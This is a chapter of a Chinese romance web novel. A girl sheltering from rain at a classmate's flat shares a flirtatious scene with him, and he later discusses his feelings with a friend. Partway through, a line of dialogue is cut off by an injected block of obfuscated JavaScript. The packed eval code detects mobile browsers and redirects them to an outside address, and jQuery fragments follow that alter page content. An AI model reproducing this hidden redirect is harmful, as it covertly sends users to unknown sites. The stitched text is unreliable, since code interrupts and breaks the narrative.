28. 第二十八章

作品:《山外山

    *


    温浔没来得及问。


    一辆计程车缓缓泊停在他们面前。


    他打开车门,半搂半抱拥她坐进去,给师傅报地址,又想起什么。


    “能直接开进巷子里面吗?”


    师傅说不行。


    岑牧野思考了一阵,转问温浔:“那去我那儿可以吗?”


    “嗯。”


    “居苑小区。”他改口。


    温浔打了个喷嚏,头也热热的。


    岑牧野让司机一路开车到家门口,一手拿伞,一手护着她上电梯。


    进屋就推她去浴室:“记得开暖灯。”


    温浔对着镜子照了照,着凉之后整个脑子都是慢吞吞的,好半天,才跟网线重连似地反应过来人现在在哪儿,应该干什么。


    拉链拉到胸前,她想起这是他的外套。


    他穿的比她少多了。


    温浔又伸手拉门:“那个……”


    他没走,后脑勺靠着墙,闻声侧过来。


    窗外的雷声轰隆隆,室内没开灯,老房子的潮味漫起来,他的眸在一片暗光中显得格外黑。


    “怎么了。”他问。


    温浔谦让:“你先去洗吧。”


    他垂眸看着她,没作答。


    她里面的衣服本来就只湿了一点,出租车开了空调,早烘干了。


    岑牧野点点头:“那你去我房间里等。”


    “上床坐,被子盖好。”他叮嘱:“冷的话把空调打开。”


    温浔脸热,昏头昏脑地答应。


    他越过她朝卫生间走,把搁在洗手台上的外套随手丢进洗衣机,和她的那件一起。


    等他走了之后,温浔才缓缓舒一口气。


    准备往卧室走的时候,余光不经意又扫到他脱上衣的场景,他估计没注意,门关得慢,这回真是不加格挡地将全部看了个清楚。


    紧实的腰腹,流畅的人鱼线,以及……


    他手已经勾上了运动裤的裤绳,扯开,松松垮垮地坠下来,在温浔的视野里面晃啊晃。


    她喉咙无意识地吞咽一下。


    忽然,他抬眸,目光顺着缝隙和她撞上,慢条斯理地勾唇:“还看啊。”


    她“啪”一下替他拉上门。


    背后传来他的闷笑,低磁的。


    温浔随后听见了愈渐淅沥的水声,一颗心紧张得砰砰直跳,干脆头也不回地扎进卧室。


    空调不知怎么是坏的。


    整半天吹得全是些凉风。


    十一月的天,渭北还没统一供暖,周遭真够冷的,温浔坐在椅子上硬撑了好一阵,实在抗不住,最后还是挪去了床边。


    被子拉开,她只小小地占据一角。


    贴身衣服刚刚在程思宁家换洗过,干净的,好死不死,恰好就是他那套夏季旧校服,她半靠在床头,脑海中满是他的身影,挥之不去。


    温浔只觉得突然间身体各处都开始烧起来,整个人一下子又热得有些过分。


    手机响铃。


    她摸出来看,是程思宁给她发消息,问进展如何。


    温浔发了一串点。


    程思宁:【他把你带去哪儿了啊】


    yolo:【……】


    她不依不饶:【你再不说,我打视频了啊】


    yolo:【别】


    她目前思维迟钝,也忘记自己可以不接,直接投降:【我说……】


    yolo:【在他家】


    程思宁连发6个6。


    紧接着——


    橙子不是橘子:【他家哪儿啊?】


    温浔没留神把嘴唇咬了下。


    意识短暂清明一瞬,她猛地将手机倒扣下去,装死不回了。


    依稀听见隔墙的水声停了。


    温浔视线不受控地抬了抬,岑牧野下一秒便如预想般出现在门口。


    她眸光忽地定了定。


    然而,相比于她的失态,他反倒从容淡定,明目张胆打着赤膊从她身边经过,顾自去衣柜翻了件白T兜头套上,又弯腰拉开床头柜抽屉,拿了条短裤。


    站直以后仿佛才察觉到她的僵硬。


    笑:“喜欢看么。”


    她眼珠都不动了,人呆呆的。


    “喜欢看也不能这么看。”


    “……”


    他俯身,胳膊伸过她身旁,伸手到她身后扯了另一头的手机充电器,看向她手边。


    “要用么。”


    “为什么。”


    “嗯?”


    “为什么……”她神色依旧懵懵的:“喜欢也不能看……”


    “……”


    沉默。


    长久的沉默。


    她脸红得不正常,眼睛却执拗不肯移开,缓缓地,由下而上,落到他的嘴唇。


    天真又大胆地期待着一个答案。


    “温浔。”他情绪变了点,声也沙,似有若无地抱怨:“你别拿这个考验我。”


    温浔似乎觉得他这话说得奇怪,歪头就着雨天窗外隐约泻进来的一点天光,安安静静看着他:“那你怕考验吗?”


    雨越下越大,噼里啪啦地打在玻璃上。


    吵得人心好乱。


    他抿唇,一时半会没回应。


    看她时的眸光很深。


    她攥手机的手有那么一点用力,q-q的音效接二连三,她没心情管。


    “岑牧野。”


    大约等了两秒,温浔忽然豁出去了一样,捏紧了被子开口:“你怕的原因,是不是……”


    她真的很努力想要大声了。


    “是不是因为……”


    天边蓦地闪过一道白光,将屋内的暧昧照得无处循形。


    “喜欢我呢。”


    -


    雨停大概是晚上七八点的事儿了。


    江淮一路骂骂咧咧地当了回跑腿小哥,好不容易蹬到岑牧野家,结果人连个门都没打算让他进。


    就开了道缝把手伸出来。


    “咋。”江淮不满,火气腾腾往外冒,明知故问专门挤兑他说:“耽误你办事啊。”


    岑牧野接过东西,冷声警告他:“你不会说话可以闭嘴。”


    江淮借机紧紧扒拉住门框:“不是,你们到底都干啥了啊,你他妈能累成这样。”


    他死气白赖要进来,岑牧野干脆也懒得再管,眉眼倦怠留下一句“关门”,便率先转身进了屋。


    书包被扔到沙发,他就势坐下来,垂眸点了根烟。江淮跟他后头:“给我也来一根啊。”


    他没好气地将整个烟盒甩给他。


    江淮脸变得贼快,从里头抽了一根叼在嘴里,半点不见外地踱步绕圈,围着房子东瞅瞅西看看,边看还边发表意见,眼见他就要不客气地晃荡进卧室,岑牧野一个抱枕扔过去。


    “你干嘛来的。”


    语气不耐烦极了。


    手搭在扶手上,终究没按下去,江淮慢悠悠转了个身子,回到客厅,捞了他的打火机,点火。


    “和刘远舟见过面了?”索性换一个话题。


    岑牧野没搭理他,兀自拿起手机。


    他坐着,江淮站着,随便一扫,就瞅见他屏幕上的一堆未读消息的红点。


    正纳闷平时挺强迫症一人,究竟怎么忍受得了,然后就看着他解锁进q-q,一键清空。


    江淮:“……”


    界面立马干净多了,岑牧野只点进置顶那栏,手指在键盘悬停几秒,刚敲出个字,又删,转到礼物商城的页面,顿了顿。


    “我就说你这月黄钻等级怎么突然之间飙那么高呢。”江淮吸了口烟,幽幽点评:“以前,某些人不是最看不惯我们这种氪金人士吗?”


    岑牧野没搭理他,接连选了好几个礼物,一口气没眨眼地送出去,光折合成人民币也得不少钱,江淮稀奇:“还真没见过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192648|195559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你这样。”


    “哪样?”他熄屏,倾身压了压烟灰。


    还哪样儿。


    光看手机屏幕就能笑成不值钱的浪荡样儿。


    江淮笑而不语,忽而想到了别的:“什么时候起的心思啊?”


    “听不懂你说什么。”他打马虎。


    “少装。”


    江淮抽完烟,缓缓开口:“就凭你今天牌桌上对我下死手那架势,你俩就不可能清白……”


    “那我就好奇啊,你和之前那个……”


    明白岑牧野实际对那事挺排斥,他分寸感也拿捏得足,只点到为止,末尾却猝不及防品出点什么,意有所指地来了一句:“你之所以对她上心,该不会是……因为文荨?”


    岑牧野斜他一眼。


    江淮坚持把话说完:“她俩名儿确实挺像的。”


    “不一样。”岑牧野沉声。


    江淮掀了掀眼皮。


    密闭的空间烟味挺重。


    话落,两人着实静了得有好一会儿,岑牧野才终于轻呵了一下。


    “我跟文荨半毛钱关系没有。”


    “你信么。”


    他问江淮。


    江淮其实不算意外,他和岑牧野相识本就在张砚南和刘远舟之后,关于三人分道扬镳的事儿当然曾有所耳闻,但也仅仅局限于传言,他没主动问过他们之前的瓜葛,岑牧野也不经常提,除过那一次醉酒……


    “我信。”江淮说。


    “得了吧。”岑牧野扯唇笑了下,显然不大乐意深谈,目无焦点地落在频繁亮起的屏幕上。


    热闹的确是热闹。


    貌似刘远舟一回来,所有刻意回避的人和事又全都不请自来地重新找上门。


    通知消息一连串地跳,但就是,唯独不见有那人的回复,于是岑牧野话锋一转又问他:“你说我如果这会儿就稀里糊涂地谈了,她万一哪天道听途说些有的没的,是不是也得这么认为?”


    “谁?”


    “温浔。”


    “你指哪个?”


    “……”


    岑牧野气场冷得不像话。


    “得,不开玩笑,”江淮抬手讨饶:“你说你不信我情有可原,怎么连自己喜欢的姑娘都怀疑。”


    “我没怀疑她。”


    “拉倒,你不就是害怕她将来误会你别有居心吗?”


    “那倒也不是误会。”岑牧野回忆起他们初见的那一面。


    “别扯那些个没用的,感情这事最简单。”


    江淮听不得他自怨自艾:“一句话,你喜不喜欢她吧?”


    岑牧野几乎没思考:“喜欢。”


    “那就在一起,剩下的等之后再说。”


    江淮老神在在摆手:“人这辈子,活一天算一天,老话不常讲?船到桥头自然直,且不谈你目前杞人忧天担心的那些究竟会不会发生,就说人姑娘有自己的判断逻辑,也不一定按你想象发展,再说,咱们这个年纪,大家都是玩玩而已,谁当真,说不准哪天你就不喜……”


    天边风雨席卷重来,窗檐蓄积的水珠一滴接一滴地向下砸。


    岑牧野收眼,冷不丁打断他:“不会。”


    特别关注的震动响了。


    他打开q-q,是她回复他。


    就三个字:【要睡了】


    江淮仍盯着他:“你这么笃定?”


    岑牧野单手打字,表情柔和了些:“嗯。”


    江淮:“那还有什么好犹豫。”


    “我怕她有一天后悔。”


    岑牧野很快结束了聊天,仰面,将头抵在沙发背,语气淡淡:“在她的想象碎灭时。”


    那会儿送她到家后,他回来蒙着被子里睡得昏天黑地。


    直到此刻,身上居然沾染了她的味道,不容忽视地顺着鼻腔,一个劲儿往他心里钻。


    “那样,我真受不了。”


    “会死的。”